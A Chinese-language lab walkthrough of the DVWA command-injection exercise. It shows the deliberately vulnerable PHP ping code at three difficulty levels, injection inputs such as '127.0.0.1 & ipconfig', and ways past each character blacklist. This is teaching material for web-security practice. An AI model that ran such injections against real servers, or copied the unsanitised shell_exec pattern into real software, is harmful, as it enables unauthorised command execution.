前言

Command Injection (命令注入),就是指通过提交一些恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// 确定操作系统并执行 ping 命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

命令注入指令

1
2
3
4
5
6
7
8
9
10
11
# 先执行 127.0.0.1,不管 127.0.0.1 是否执行成功都会执行 ipconfig
127.0.0.1 & ipconfig

# 先执行 127.0.0.1 ,127.0.0.1 执行成功后才会执行 ipconfig
127.0.0.1 && ipconfig

# 不管 127.0.0.1 是否执行成功都会执行 ipconfig
127.0.0.1 | ipconfig

# 前面的命令要执行失败,才可以执行后面的命令
127.0.0.1 || ipconfig

执行效果

127.0.0.1 && ipconfig

127.0.0.1 & ipconfig

127.0.0.1 | ipconfig

127.0.0.1 || ipconfig

Medium

源码分析

Low相比不难看出
Medium代码过滤掉了 &&;
所以我们还是直接使用 127.0.0.1 & ipconfig 进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
//设置命令黑名单,里面包含&&和;
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

执行效果

127.0.0.1 && ipconfig

127.0.0.1 & ipconfig

High

源码分析

我们对源码分析不难发现
& | - $ ( ) \ ' ||
以上符号都被过滤掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
//设置命令黑名单,里面包含& ;| - $ ( ) \ ` ||
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
//替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

执行效果

我们发现使用|时会被自动添加
我们可以来尝试绕过一下

127.0.0.1 |ipconfig

127.0.0.1 || ipconfig

存在问题

安装好之后
我们随便输入127.0.0.1
会发现出现了乱码

那我们就要修改一下网站编码格式了
我们只需把下面这个php文件

1
\dvwa\dvwa\includes\dvwaPage.inc.php

将文档里的编码格式utf-8改为gb2312

重启之后我们再来试一下

参考 & 引用

https://zhuanlan.zhihu.com/p/565945383
https://www.cnblogs.com/chadlas/articles/15706124.html